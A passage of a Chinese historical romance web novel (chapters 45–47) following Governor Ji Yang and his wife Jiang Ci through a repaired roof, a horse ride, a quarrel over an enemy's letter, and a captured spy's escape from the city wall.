姬阳站在门外,一身晨色微露的风尘气息。他走进来,将手中的豆浆与炸豆腐放在桌上,语气不甚自然却低声道:“趁早市还热,我给你带了回来。”
姜辞微微一怔,随即唇角一弯,带着刚醒的慵懒语调道:“都督辛苦了。”
本以为他只会点头不语,却
没料到他竟一反常态,轻声回了一句:“外头的榆关早市,也挺热闹,倒也……别有风味。”
她转过身去,掩住脸上的笑意,眼波轻转走向梳妆台前,铜镜中照出她唇边的一抹狡黠:“都督,银霜不在身边,你可否帮我梳一下头发。”
第45章
这一句话,像是拨了一下风中紧绷的弦。
姬阳垂在身侧的手微微一紧,许久才迈步走上前。指腹轻轻碰过梳子的檀木把柄,停顿了一瞬,却始终没落下动作。
他望着铜镜中姜辞的脸,目光一触即收,喉结微动,语气别扭:“我……手重,不适做这事。”
话音刚落,他已将那把梳子轻轻放回桌上,脚下退开半步,像是怕再待下去便会犯错似的。
“我在楼下等你。”他语气克制而短促,像在压抑什么。话说完,已阔步走出了房门,步子快得像在逃。
门扇合拢那一瞬,姜辞终于放肆地笑了出来。她看着镜中自己的模样,唇边笑意温软,眼底浮着一层藏不住的光。
午后的阳光从榆关郡东城区斜洒下来,落在街角墙砖上,投出一格一格的暖影。姜辞与姬阳并肩走在小巷间,步子缓缓,街边叫卖声、孩童嬉闹声与茶摊上的闲谈声此起彼伏。
“听说那位东阳大都督,是亲自把伤员从泥水里背出来的。”
“唉,战将也有仁心,这人当真不一样。”
耳边一句句落入,皆是对姬阳的夸赞。姜辞忍不住笑了,抬手啪地一声拍了拍他肩膀,笑得意味深长:“都督,无论他们是玩笑还是扯闲篇儿,你可不要让他们失望啊。”
姬阳被她拍得肩膀一沉,眉心微蹙,看了她一眼,还未开口,姜辞已背着手走远了几步,语调轻快,像是对他那副冷脸并不在意。
他叹了一口气,终究还是跟了上去。
小巷转角处,一位佝偻着背的老妇人蹒跚迎上来,衣衫朴素却整洁,满是风霜的脸上浮着一丝迟疑,眼中却藏着期盼。
“这位姑娘……”老妇人嗓音嘶哑,拦住姜辞,小心翼翼地问道,“你们二位……能帮我修一下屋子吗?”
姜辞停下脚步,微微一怔,旋即低头问道:“您家里没有人了吗?”
老妇人轻轻摇头,声音有些哽咽:“我丈夫与儿子早年上了战场,都没能回来,家中只剩我和一个久病的孙儿。这些日子雨水多,屋檐塌了一角,本想出门请几个年轻人帮忙修修,恰好瞧见你们路过……”
说话间,老妇人抬手指了指巷子尽头那栋低矮的瓦屋,屋角的檐瓦坍塌了一片,木梁露出焦黑的伤痕,似是前几日雨夜中被雷击伤。
姜辞顺势望去,目光落在那处残破之处,又回头看了一眼姬阳,唇角带笑,眉眼微挑:“大人?”
姬阳冷淡地瞥了那屋子一眼,双臂抱在胸前,语气淡得像是在拒绝一场麻烦:“修屋顶不是我们该做的。”
姜辞却没听劝,径直朝老妇人点头:“您带路吧,我们尽力而为。”
姬阳站在原地,看着她毫不犹豫地迈开脚步,脸上露出一丝无奈。良久,他才低声啧了一句,解下外袍扔在一旁的木架上,卷起袖子,提起锤子走了过去。
屋后那口梯子年久失修,姜辞扶着老妇人借来一条结实的竹梯,姬阳登梯而上,阳光在他背上投下沉稳的影子。
他动作利落,步步沉稳,站定之后,俯身检查破损的瓦梁,一言不发。
老妇人端来一盏粗茶,放在桌上,笑着道:“看姑娘和这位公子,想来不是本地人罢?”
姜辞接过茶盏,温声道:“我们是从宁陵过来的。”
“宁陵……”老妇人听到这两个字,不由得轻叹一声,语气里满是挂念,“那儿的水患不知如何了。前些日子,孟使君还来郡里筹粮,好些街坊都把家中余粮拿出来捐了,就盼着那边的百姓能熬过去,不至于断炊。”
这番话落入姬阳耳中,手中动作微微一顿。
姜辞站在屋下,抬头看着屋顶,只见他抬手一下一下将裂开的木板敲正,又将新瓦片铺上,每一个动作都沉稳有力,干净利落,竟比寻常工匠还要认真几分。
她收回目光,轻声应道:“是啊,好在如今,他们已熬过最难的时候。”
“那就好,那就好。”老妇人眼中泛着欣慰的光,连连点头。
姬阳身上的袍摆被风拂起,汗珠在额角滑落,他却没有半分停顿,眼神专注。
屋旁的小少年趴在窗边,双眼闪着亮光,忽然朝姜辞笑着喊道:“姐姐你夫君好厉害!”
姜辞听了,眸光一转,嘴角轻轻一弯:“是啊,有他在,我什么都不怕。”
屋顶上的人手中动作一顿,锤子敲在瓦片上的节奏忽然慢了一瞬。
小孩眨着眼睛又问:“你们会吵架吗?”
姜辞佯作认真,语气低了几分:“他不敢。”
姬阳依旧沉默,只是眉头轻轻挑了挑,却未做声。瓦片最后一块稳稳安上,屋顶修缮完毕。
下屋时,姬阳顺着梯子一步步走下,手掌还残着木屑的粗糙,汗水打湿了后背的中衣。老妇人连声感激,非要留二人吃顿便饭。姜辞不等姬阳开口,便替他点头应下。
“难得有热饭,要不我们一起?”她笑着说。
姬阳看她一眼,终究没有反驳。
屋内的饭桌简陋,但香气扑鼻,柴火炊烟里飘着久违的农家味。
老妇人端出自家腌的菜脯和豆汤,一边布菜一边絮絮念着感激的话。
姬阳没怎么说话,只是吃着,偶尔抬眼看一眼姜辞。她袖口挽起,脸上带着未散的汗意与笑,眼里没有隔阂,也没有负担,那是他在丰都从未见过的样子。
他忽然明白,为何她非要留下来帮忙。
因为她真的在意在里的一切,就像她在意宁陵百姓一样,遇到他们的事情,她总是义无反顾。
饭后临别时,老妇人将一包腌好的咸菜硬塞进姜辞怀里,笑道:“自家腌的,不值几个钱,但配饭吃倒也下得了口。”
姜辞接了下来,含笑应谢,忽而想起老妇人曾提及孙儿久病在床,便主动开口道:“老人家,我会些医理,若您不介意,我给令孙诊诊脉可好?”
老妇人一怔,旋即感激涕零:“姑娘愿意出手相助,我们祖孙两个感激不尽,只是家中实在拮据,拿不出诊金……”
姜辞柔声道:“这一包咸菜,便是诊金了。”她笑意盈盈,看不出半分施恩的姿态。
老妇人闻言,连连称谢,目中泛起热泪,口中念着:“姑娘与公子真是菩萨心肠,像你们这样的人,日后定有好报。”
姜辞走进厢房,给那病中的少年搭脉片刻,眉头微蹙:“是肺病,拖得久了需好生调理,不能再耽误。”
出了门后,姜辞拉着姬阳一路走到城东一家药铺,将药方写下,交予掌柜,又附上一纸地址,道:“这药麻烦你按方抓好,每十日一剂,送到这位老人家门前。”
掌柜点头应下,只是看了眼药方后,道:“这药贵得紧,姑娘可得先付些银钱。”
姜辞低头翻了翻衣襟,随即取下发间的一支素玉簪子,轻轻放到柜台上:“这支簪子折价应当够吧?”
掌柜拿起一看,点头称是。
姬阳在一旁看着,忽然出声:“我带钱了。”
姜辞笑着摇头:“没事,这点事我来。”语气温柔却不容拒绝。
姬阳动了动唇,终究没再多言。
出了药铺,两人并肩走了几步,街角一抹日光斜落在姜辞鬓边,簪子不见了,她却神色如常,只偶尔伸手拢拢发丝。
姬阳忽然顿住脚步,道:“我好像落了点东西,你先在这等我一下。”
姜辞点点头,站在街边等他。
姬阳转身折回药铺,悄悄从怀中掏出一锭银子放在柜台上,道:“这笔药钱算我的,把那支簪子还我。”
掌柜拿起银子,连声应是,小心翼翼将那支簪子递还。
姬阳接过簪子,随即小心收进怀中,转身离去,神色淡然,仿若无事。
他重新走回姜辞身边,神情一如方才,连步伐都不紧不慢。
姜辞转头看他,笑问:“找到了?”
“嗯。”姬阳淡淡应了一声。
两人漫无目的地走着,城东的街市逐渐稀落,拐入一处开阔的土路时,前方豁然开朗,一座马场映入眼帘。
姜辞脚步微顿,站在马场外侧的篱笆边,目光被那些奔腾而过的马匹吸引。她下意识走近两步,眼神追随着一匹高头大马,神色中有一丝难得的出神。
姬阳也止住脚步,淡淡看了她一眼。
“怎么?”他问。
姜辞看向他,语气里透着一丝压抑不住的向往:“我小时候觉得马很威风。但我爹说女孩子不适合骑马,就从来没学过。”
姬阳沉默了两息,随即开口,语气平平:“你想骑吗?”
姜辞回头看他,像没听懂似的:“嗯?”
他目光落在她眉眼之间,声音不高,却字字分明:“我问你,想不想骑。”
姜辞眼睛微微一亮,点了点头:“想。”
姬阳没再说话,只抬手招呼了一声马场的执事,低声吩咐几句,很快便有人牵出一匹温驯的栗色马。
姜辞站在马前,犹豫片刻。马儿比她高出许多,鼻息喷得她额前发丝微动。
“怕了?”姬阳忽然出声。
姜辞挑眉看他:“大人在此,我怎么会怕,你可是在马背上横扫四方的人,能站在你身边,就应该遇到任何事情都不能退缩。”
“很好。”他语气不带情绪,却不自觉地嘴角略动。
他没再多言,牵过马绳,将马稳稳牵至她面前,自己走到马侧,手自然朝她伸出,语气平稳:
“脚踩我手上。”
姜辞一怔,还未来得及反应,姬阳已半蹲下身,左手成托。阳光落在他肩背,那双惯持刀剑的手掌就在眼前。
她迟疑了一下,终是将手轻搭上他肩,踩上他掌心。他的力道沉稳有力,既不逾矩,也不迟滞,将她一把托上了马背。
她在鞍上坐稳,还未从动作的顺畅中回神,便听见身后衣袍微动,姬阳翻身上马,坐在她身后。
她的心脏“咚”地一跳。
两人之间几乎没有多余空隙,肩背相贴,他的呼吸隔着衣衫扑在她颈侧,低沉的嗓音随之响起:
“抓紧马鞍。”
姜辞“嗯”了一声,低头去握马鞍,却发现手心有些发烫。
明明是她主动提出要骑马的,可此刻真正靠近了,反倒有些无措。
她刻意看向远方,压下心中莫名的紧张。
这不过是一次骑马,她安慰自己。
可在这晃动的马背上,耳边风声一啸而过,身后人的气息沉稳如山,她竟莫名生出一种……安稳的错觉。
姜辞低垂的眼睫颤了颤,不敢转头看他。
马缓缓起步,穿过马场边缘的小径。
他靠近她耳边,一点点教:“双腿夹紧,别光靠我带着你,马感觉到你怕就容易乱。”
“试试自己握缰绳。”
“坐直,背别躬着。”
他的声音一贯冷淡,姜辞乖乖照做,不多时竟真的能配合着他的节奏坐得稳当。
风穿过耳边,马蹄声踏踏轻响,姜辞头发拂到他下颌,他却没动,只是垂着眸子,一时静默。
良久,姜辞忽而轻声道:“你倒是比我想象的……耐心。”
姬阳闻言眉一挑:“那我在你心里到底是什么样?”
姜辞噗嗤一笑,不再言语。
两人就这样缓缓骑着马,穿过空旷的草场,落日的余晖将两道身影拉得很长,悄然交叠在一起,姬阳摸出怀中的那个簪子,不动声色的给姜辞插回了头上。
雨点不知何时悄然落下,初时只是零星几滴,转瞬间却密密洒洒,如丝线织帘般垂落天幕。马儿耳朵轻颤,打了个响鼻,脚下慢了几分。
姬阳抬头看了一眼阴沉天色,低声道:“看来这雨,比我想象中来得要早。我们得回去了。”
姜辞应了一声。
他翻身跃下马背,落地干脆利落,他转身朝她伸出手来,神色淡定,语气低稳:“下来吧。”
姜辞怔了一瞬,却还是将手搭上了他的掌心。他的手掌温热而有力,臂弯收紧,将她从马背稳稳接下。脚尖触地的一瞬,她心中不知为何泛起一丝莫名的悸动。
雨渐密,二人顾不得多言,快步寻到路旁一处旧棚子暂避。雨帘遮住了马道,天地间只剩潺潺水声和檐下潮湿的草香。
姜辞站在棚中,伸手理了理鬓边被雨水打湿的发丝,手指却在耳侧一顿。
她指腹轻触之处,微微一愣,摸到了一枚熟悉的簪子——那是她今天亲手摘下的素玉钗。
她转头望去,只见姬阳站在她身侧一步开外,手背负在身后,目光平静地望向雨幕之外。雨丝在他肩头织出一层细细水光,他未觉,侧脸清俊冷峻,眼神却静若深潭。
檐下昏黄天光映着他薄唇紧抿的线条,仿一张沉静如画的面容,冷冽得近乎不近人情,却叫人无法移开目光。
姜辞忽然察觉腹间一阵隐隐作痛,眉头微蹙,伸手捂住小腹,身子也不由自主地微微弯了下去。
姬阳眼角余光一闪,立刻转身看她,语气一紧:“怎么了?”
“……不知为何,腹部有些酸胀。”她声音轻得几乎听不清,脸色也有些不对。
姬阳眼神一变,二话不说便将外袍解下披在她肩上,低声吩咐:“别动。”
话音未落,整个人已俯身将她打横抱起,稳稳当当地朝街口的药铺快步奔去。
姜辞本想抗议,却被他低沉冷硬的语气压住:“动了胎气怎么办?”
她一愣,神情微变,低声道:“那日之后,我就让晚娘熬了避子汤,放心,我不会让都督为难,有一个你不喜欢的孩子,我也没有准备好,和你有一个孩子。”
姬阳听到这句话,好像是自己藏着的秘密被人撕开暴露在日光之下,明明他本也是这样想的,可心头却莫名沉了几分,泛起一丝说不清的难过。
他喉咙轻滚,低声道:“那就好。”
说罢将她放下,半息都没有停留,也不等她抬步便往雨幕中走去,背影冷硬,步伐却隐约透着几分落寞。
第46章
第二日一早,天光微亮,姜辞便收拾妥当,走出客栈。
门前的马车早已备好,姬阳站在一旁,身披黑色长袍,双手叉腰,神情冷峻。见她出来,他一句废话也没说,只是走上前,将她手中的包袱接过,利落地放入车厢中,低声道了一句:“走吧。”
姜辞无言,上了马车。车轮滚动,马蹄声清脆,一路尘土飞扬,却也一路沉默。
她不知姬阳又是怎么了,自昨夜回去后,话便少了许多,眼神也冷了几分,仿佛又退回到初见时那副疏离的模样。
他坐在车外,她在车内,马车晃晃悠悠,像两人之间摇摆不定的距离。
到了渡口时,姬阳依旧没有等她,自顾自跳下马车,快步往前走去。姜辞轻叹一口气,只得紧跟其后。
上了船,姜辞终于忍不住开口,语气平和却带着一丝倦意:“不知我又做了什么事,让都督不高兴了?”
姬阳坐在舱尾,闻言忽然抬眸,眼神淡淡,没有一丝温度:“你没做什么,是我不想和你走得太近。”
话落如刀,刮得她脸颊生疼。
姜辞垂下头,拢了拢膝上的帕子,不知如何应答。
她本以为,他的心正在被她一点点捂热,可现在看来,是她自作多情。
船靠岸,回到宁陵渡口,姬阳照旧走在前头,步履如风。
姜辞提裙随行,几步之遥,却仿佛与他相隔千里。
二人穿过堤坝旁的军营时,营帐前已围了不少兵将。那原本是一片空地,此刻却停满了二十余辆马车,马蹄旁落着厚重的车辕印,似是刚赶到不久。
姬阳脚步一顿,目光瞬间冷凝,几步迈上前去。
越白与杜孟秋立在车前,见他赶来,神色微动,同时拱手行礼。
“都督。”越白低声道,“是那批被劫的粮草。”
姬阳眉头一拧:“你们找回来了?”
越白摇头,语气也有些凝重:“不是
,是今早几个村民押车送来,带着一封信。”
“信里说的什么?”姬阳沉声问。
越白舔了一下唇,深吸一口气,终究是不知道该如何开口,只能把信递给姬阳。越白在旁低声补了一句:“村民说,是有人让他们带来的,那人衣着寻常,看不出身份。”
姬阳接过信,展开一看,眸光顿时一滞。
那熟悉的字迹,笔锋如刀——
“我归还这些,只为一人。姜辞,希望你喜欢这份生辰礼。”
落款:楼弃。
姬阳手指发颤,信纸哗地一声被他握紧。
此时,姜辞方才缓步走近。她似是才听清前头的动静,一步步走到营帐前。
她还未来得及开口,姬阳却已忽然转身,目光冷如霜刃,唇角绷紧,嗓音低沉森冷:
“很好。”他一字一句,仿佛每个字都带着力气,“你竟与瀚北的楼弃私下往来……姜辞,你当我是什么?”
姜辞脚步一顿,眉心微皱:“你说什么?”
姬阳没有解释,只将一封信猛然甩出,纸团在风中翻飞落下,他声音压抑得几乎颤抖:“这批粮草,是他送给你的生辰礼。你该很高兴吧?他亲笔写着——只为你一人。”
姜辞怔了一瞬,俯身拾起信笺,将纸打开,目光扫过那陌生的笔迹,眉心微微拧起,喉间仿佛有一瞬的滞涩,但她抬起头时,语气依旧冷静:
“我根本不认识这个人。姬阳,你不要妄加揣测。”
“你不认识?”姬阳冷笑,“他会把整整二十车粮草送来?”姬阳眼底寒光逼人,声音沉冷,“这可不是几袋粮米,这是能救宁陵百姓两个月的口粮!”
姜辞静静望着他,眼中看不出慌乱,语气平缓得近乎冷淡:
“你若信我,我无需解释;你若不信,我说什么,在你听来都是借口。”
“姜辞——”
“我与他从未有过任何私交。”她打断他,声音微凉,却不疾不徐,“你若要查,便去查;若你觉得我该担责,那也无妨,都督想如何处置,尽管开口。”
四周军士目光或惊疑、或避让,营帐前一时间鸦雀无声。
姬阳看着她,唇角微动,却终究没说出一个字。情绪翻涌至喉口,他指节微微发白,紧握着拳头,克制住想要拔剑的冲动。
他缓缓扫了一眼四周围观的将士,面色沉如水,终是冷声道:
“你先回去。”
姜辞拢着衣袖,默默转身离去,她脚步不疾,却带着一股说不清的委屈。
她不明白那个叫楼弃的人为何要做这些事,也不明白姬阳为何可以因一句话就全盘否定她,如今还成了众矢之的,被这莫名的一封信推到了风口浪尖。
营帐中,姬阳负手而立,眉目沉如暮色,营灯将他映得愈发寂冷。
他刚刚遣走姜辞,气还未散,帘幕忽地被掀起,越白快步进来,低声道:“都督,擒到了一个人。”
姬阳眸光一寒,冷声道:“带进来。”
不多时,两名军士押着一名女子走了进来。女子手腕上缠着铁索,步履踉跄,嘴角还带着未干的血迹。
那是苏玉。
她被押至营帐中央,扑通一声跪倒在地,满脸是风尘与血污,眼神却仍倔强。
姬阳上前两步,抽剑未出鞘,只以剑鞘抬起她的下巴,俯视着她,嗓音低冷如冰:“就是你,在疫区之事上造谣生事,害我夫人受尽流言?”
“说。”他逼近半步,声线沉下,“你究竟有什么目的?”
苏玉被迫抬头,喉头动了动,却冷笑出声。
“要杀要剐就快点,别废话。”她眼中依旧冷淡,仿佛并不惧死。
姬阳眸光一暗,将剑鞘缓缓收回,淡道:“我不打女人。”
他顿了顿,又道:“可你是探子,冒充凉州百姓混入宁陵,在疫区下毒散播谣言,是想离间我与凉州的关系?”
苏玉嗤地一笑,眼中讥讽却慢慢淡了下去,取而代之的,是一抹藏也藏不住的悲凉。
她的唇动了动,似是不愿多说,可眼前却不由自主浮现出那一幕——
那日夜色沉沉,她与楼弃刚离开宁陵,还未远行,便觉后方有人追踪。
她想逃,楼弃却没动。
只是一掌,将她自马上击下。
她惊怒交加,刚要质问,楼弃却居高临下看着她,眼神清醒而冷静:“她需要一个人为她清清名声。”
“苏玉,帮我,最后一次。”
他的声音不高,却透着凉薄。
“你去顶罪。”他说,“姬阳不会杀你的,活下来。”
不等她回应,他已拨转马头,沉声道:“一定要活下来。”
下一瞬,他催马绝尘,只留下苏玉一人倒在荒野。
不久后,越白便带人将她擒下。
那一刻,她才真正明白,自己从头到尾,都没有逃出楼弃那张布了许久的棋局。
她曾以为,他们一同饮酒共战、出生入死的这些年里,楼弃待她多少是有些不同的。
可当他要舍弃一个人的时候,依旧如同以往,干脆利落,毫不拖泥带水,连个眼神都不肯多留。说什么要她活下来,不过是一句好听的场面话,他擅长的,从来都是这些。
如今身陷囹圄,被押跪在这军帐之中,她反倒忽然觉得,有些事,再说也无益了。
苏玉眼神缓缓垂下,睫毛掩着眼底一寸微光。她引以为傲的骨气,此刻也被连日的疲惫与疼痛慢慢侵蚀得所剩无几。
沉默片刻,她终是低声开口:
“是我。”
声音沙哑,却无比清晰。
她抬起头,望着姬阳,眼中不再倔强,而是冷静到近乎麻木:“是我做的。但我从未想过要害你夫人,因为自始至终,我讨厌的都是你。”
她一字一句,咬着牙,仿佛要将压在心口的情绪碾碎:“我只是想让你在宁陵百姓眼中,成为一个失败者。”
她语气不急不缓,却仿佛每个字都带着淬了毒的锋刃。
姬阳微微偏头,目光冰冷地落在她脸上,语气却依旧平稳:“幽州人?”
他眯起眼,“是楼弃派你来的?”
苏玉没有回避,只是冷笑一声:“你还真看得起他。”
随即反唇道:“我没有同伙,这点小事,还用得着同伙?你以为我们瀚北的人都是废物?”
她眼中重新燃起一点光,似是嘲弄,似是骄傲,仿佛就算身陷囚笼,也要咬住最后一口气。
姬阳冷冷看了她一眼,显然已不耐与她纠缠。他转身吩咐道:
“押下去,想办法让她开口。”
军士上前将苏玉按住,利索地拖出了营帐。
翌日清晨,雾气刚刚散去。
姜辞带着晚娘与银霜一同赶往疫区。马车上载着米糕、药粥与干粮,她亲自准备的。
刚绕过北街,尚未抵达疫区,远远便看到城北的城门之上,吊着一人。
晨风拂过,那人衣袍破旧,双手高高吊在城墙上,头低着,乌发垂落,整个人被晒得毫无血色。
姜辞心中一震,定睛看去,那人正是苏玉。
她眉头一拧,快步上前,守门的士兵认得姜辞,立刻躬身行礼。姜辞止住脚步,指着高处问道:“这是怎么回事?”
守卫回道:“回夫人,这是昨日都督擒下的瀚北探子。”
“她便是在百姓药中下毒之人。都督命人将她吊在此处,给宁陵百姓一个交代,也算是让她赎罪。更是警醒城中有心之人,不要妄动歪心思。”
姜辞仰头看了一眼。
苏玉的双腕已被勒出深深血痕,血已经干涸,沾在破损的衣袖上。
她倒吸一口凉气,手指微微一颤。
而那高墙之上的人,似也察觉有人注视。
苏玉缓缓抬头,目光隔空落在姜辞身上。
眼中没有哀求,也没有羞愧,反倒是一如既往的讥诮与不屑。像是在说:“我成了这样,你是不是很满意?”
姜辞站在原地,面色凝静,片刻后道:“她害死了不少人,偿命也是应该的。”
语气冷淡,听不出情绪。
说罢,她收回目光,与晚娘并肩
踏入疫区。
疫区如今已有序许多,姜辞一入内,便有百姓围上前来,眼神中带着难掩的羞愧与迟疑。
有年长者眼圈一红,拱手低声:“夫人,前些日子,是我们冤枉了你,实在对不住……”
也有些年轻人抿着唇,半晌也挤不出一个字,只低着头,默默站在一旁。
姜辞看着这些人,语气温和却不软弱:“我不会怪你们。”
她目光一一扫过众人,语声沉静:“只是经此一事,日后若再遇事,希望你们能先想一想,再动怒,别再让旁人轻易利用了你们的善意与愤怒。”
众人连连点头,面露愧色。
晚娘与银霜此刻已开始分发食物,孩子们奔跑而来,空气中终于浮动出些久违的人声。
姜辞望着这一切,眼角却忽然泛起一丝冷意,低低嗤笑一声。
“燕渡……是吧。”她喃喃,“这也就说得通了。”
那个自称燕少侠的江湖游侠,明明来历不明,却能出手利落、指点精确。
她想了想,忽然抬头,唤来银霜。
“你还记得那日我扯下他的令牌吗?”
银霜点点头:“在姑娘梳妆台上,我还帮您拿过。”
姜辞神色一肃:“你现在就回去一趟,把那令牌收好,藏在你那边。千万不要叫都督看到,听到了吗?”
银霜眼神一震:“姑娘是怕……”
姜辞打断她,语气略急:“别问那么多,快去。”
银霜连忙应下,匆匆转身离去。
姜辞站在原地,心头微微发紧。
姬阳误会她与楼弃牵扯不清已够叫她头疼,那枚令牌若再落入他手,只怕事情更加一发不可收拾。
银霜匆匆回到姜辞的屋内,她快步走到梳妆台前,伸手打开最上面的抽屉,里面却空空如也。
她眉头紧锁,又转向旁边那只雕花匣子,小心翼翼掀开盖子,一层帕子、一只钗、一卷书信,皆不见令牌踪影。
她有些慌了,回身环顾屋中——
忽然,一道低沉的男声,缓缓从她身后响起,声线沉稳,却如锋刃破风:
“你是在找这个?”
银霜心口一震,猛地转身。
姬阳正站在门口,身形高大,黑袍未解,手中随意把玩着一块乌木令牌。
屋内的空气,霎时仿佛凝固。
第47章
银霜怔怔看着那块令牌,半晌说不出话来。
姬阳迈步进屋,目光冰冷,带着一丝近乎审视的沉静。
“这块令牌,怎么会出现在姜辞手中。”
他顿了顿,眼神落在她身上,嗓音低沉,“我再问一遍,你来,是在找这个?”
银霜张了张口,却不知道该如何应对。她指尖绞紧了袖角,额间已经沁出细汗。
姬阳望着银霜,神情冷峻,手中仍把玩着那枚乌木令牌,沉声开口:
“我不会让她在众人面前难堪。”
他顿了顿,目光落在银霜脸上,一字一句道:“你去把她叫回来,我听她亲口对我说。”
银霜不敢迟疑,连忙退身而出。
此时疫区内,姜辞刚将最后一筐烧饼交到百姓手中,低声嘱咐几句后,又去查看仍未痊愈的几位病人,见情况稳定,才稍稍松了一口气。
帘子忽然被掀开,银霜一脸慌张地奔了进来。
姜辞转身看她:“怎么了?”
银霜走近她身边,压低声音道:“姑娘,那块令牌……被都督先一步找到了。”
姜辞心中一沉,脸色微变:“他人呢?”
银霜小声回道:“在屋里等你,说要听你亲口解释。”
姜辞沉默了一瞬,目光微敛,终是点头。
屋内气氛凝重,门口廊下的风铃发出轻响,窗外蝉声细碎。
姜辞进屋时,姬阳正站在案前,背对着她,身影冷硬如山。他听见动静,转过身来,神情一如既往的沉着,却带着一丝压抑不住的不悦。
两人分坐桌前,谁都没先开口。
半晌,姬阳才率先开口,声音不疾不徐,却带着压迫:“这块令牌是瀚北的通关信物,怎么会出现在你房里?”
姜辞静静看着他,神情沉着,反问道:“都督,此刻你是愿意耐心听我说了?”
姬阳没有回应,只盯着她,默认了。
姜辞吸了口气,语气平缓却不乏锋芒:
“那人自称燕渡,最初与苏玉兄妹相称,身份不明,但是偏偏对我多有关照,我内心也总觉得他是有意接近。百姓中毒后,我起疑,便设局试探,他夜闯我房,我趁他不备,从他怀中扯出了这块令牌。”
姬阳听着,眼中神色微动,却并未出声。
姜辞顿了顿,又道:“本想着查清他的来历后再与你细说,可紧接着我们就去凉州了——”
“你为什么不告诉我?”姬阳忽然开口,打断她,语气压低。
姜辞唇角微动,笑意淡淡,却藏着一丝讥诮:“都督一向对我并无信任,我若提前开口,只怕今日这场问话,还会更早一些到来。”
“你心里,”姬阳盯着她,“我就是这样一个不通情理、不能明辨是非的人?”
姜辞抬眼看着他,神色不避不让:“在丰都的时候,你将一封信甩在我面前,未查便信我通敌,直接判了我死罪,我连辩解的余地都没有。你问我为何不说,我又该如何说?”
她语气不急,却句句不退,带着忍了许久的委屈与倔强。
“我原是想等查明那人的身份,再告诉你,不想你误会……但最终,你还是误会了。”
姬阳沉默片刻,语气低沉:“你怎么知道,这一次我不会听你解释?”
“事情都还没发生,你便先给我下了定论,你口口声声说我不愿给你机会辩解,可你给我机会去听你的解释了吗?”
他盯着她,语速稍缓,眼中似有几分压抑不住的火意:“若我真是那般无情无理之人,昨夜在营帐前,便该就地处置你,先杖十军棍。”
姜辞垂眸,静了一息,忽而抬眼,神色清淡:“看来都督昨日确实动了将我拿下的心思。”
姬阳呼吸微顿,像是被她这话激得胸口一闷,却终是没有反驳,只低声道:“我不是那个意思……我说不过你。”
他顿了顿,似是压下所有情绪,才沉声开口:“但以后,若再遇到这种事,你能不能先告诉我一声?”
“别让我全然不知,连防备都来不及——我的下属看到了那封信,他们会怎么想?你是我姬阳明媒正娶的夫人,却被楼弃牵扯其中,我能不怒?”
姜辞望着他,眼中的冷意渐渐褪去,神情缓了下来,眉宇间多了一分郑重。
她直视着姬阳,语气坚定而沉静:
“我既然嫁给你,无论我是凉州人,幽州人,还是北庭人,我都不会背叛你。”
“更何况,如今我的命,凉州百姓的命,都还握在你手里。”
她微微顿了顿,声音一寸寸柔下去,却不失分寸与分量:
“我向你保证,以后,无论发生什么,我都会先告诉你。”
姬阳沉默片刻,点了点头。
他起身,走到案前,收起那枚乌木令牌:“这块令牌,我拿走了。”
话音未落,他已转身朝门口走去。
刚走到门边,身后忽然传来姜辞低而清晰的声音:
“我只有过都督一个男人。”
她语气极轻,却字字分明,“也请都督,别再揣测我与旁人。”
姬阳身形一顿,背影微动,终究没有回头,只淡淡回了一句:
“我知道了。”-
北城门下,天色愈沉。
一整天过去,城墙上的苏玉始终没有出声,她悬在风里。
乌云压境,厚重得仿佛要掉落下来。空气里弥漫着雨前特有的泥土腥味,连守卫也不自觉打了个寒噤。
苏玉缓缓睁开眼,睫毛早□□涸的血黏在眼皮上,后背紧贴着冰冷的墙面。
她动了动干裂的嘴角,咽下一口血腥气,抬眼望向渐暗的天色,像是终于等到了什么。唇边慢慢浮起一丝笑。
“时机……要到了。”
说着,她咬紧牙关,用右手抓住自己左手大拇指的根骨,忍着剧痛猛然一扭——只听咔的一声轻响,骨头断了。
疼得她满身冷汗,可她眼神一丝不动。
指骨错位,她左手微微收缩,顺着雨前湿滑的麻绳一点点挣脱,血肉被勒得几近剥皮,她却连眉都没皱一下。
片刻后,她终于将左手挣出,又迅速解开右腕的绳索,整个人无声地蜷缩下来,趁着夜色,在风中悄然扒住墙面。
她翻身爬上高台,动作利落得不像是一个被吊了一整天的人。角落里,一名巡逻守卫正倚着石柱打盹,未及反应,喉间已被她一把捏碎。
守卫应声倒下,无声无息。
苏玉俯身,取下他身上的外袍穿上,又从他腰间拔出水壶,仰头大口灌了几口,眼眸重新恢复了些许冷光。
风卷起她换上的盔甲下摆,远处,宁陵城灯火摇曳。
她望着这座城,轻声开口,像是自言自语:
“楼弃,你休想抛弃我。”
话音一落,她转身,身影迅速没入黑夜。
此时夜已深。
宁陵上空的天像是垂了帘子,一点星光都不露,黑得沉闷压抑。
风在夜里游走,没有呼啸,也没有狂暴,却带着一种叫人骨头发冷的湿意,贴着营帐一层层掠过,将灯火吹得一晃一晃。
军中此刻安静得近乎不自然,巡逻的士兵三三两两靠聚在一起闲聊,哨声断续,远处的狗忽然低低呜咽了几声,又像被什么压住似的,归于沉寂。
东城墙上的哨楼上,火盆烧得很小,守夜的士兵哈欠连天。
就在这时,宁陵西郊的堤坝底部,一块早被水浸泡松动的石板,悄无声息地塌陷了一寸。
没有巨响,也没有断裂,只是一点点泥浆,从石缝间缓缓渗出。
一只野兔从堤旁窜过,嗅了嗅那一抹湿气,猛然往回跑了出去,留下一串细小爪印。
银霜在屋中打着瞌睡,手还搭在铜炉边,姜辞斜靠在榻上,刚闭上眼,晚娘正在收拾桌子上刚才吃完的残余。
是风,夹着泥土腐烂与青草翻潮的味道。
姜辞睁开眼,望向窗外。
夜色沉沉,什么也看不清,但她的心,莫名沉了一下。
营帐之中,灯火幽昏,几根未尽的香蜡晃出些细碎的光。
姬阳站在案前,手指正缓慢划过宁陵外围堤坝图,神色凝着,似在斟酌某一处细节。
忽有急促脚步声从营外传来。
“都督。”杜孟秋掀帘而入,身上还带着未干的雨,发梢滴着水珠,披风上染了薄泥。
他拱手一礼,语气压低:“属下刚从堤坝西南段巡回来。城外已经开始落雨,虽不大,但……雨势不稳。”
姬阳抬眼,眉间微拧:“说重点。”
杜孟秋点头:“西坝底部,有一段土层开始松动,脚下踩着有回响,不像表面看得那般结实。”
他顿了顿,又补了一句:“可能不是大事,但也不该这样。”
营帐内沉默一瞬。
姬阳指尖顿住在图纸上的那一段,那里正是数月前楼弃带人修建的区域。
他神情未变,只低声道:“让工兵连的人过去查一查,叫人拿上丈尺与探桩,不许大意。”
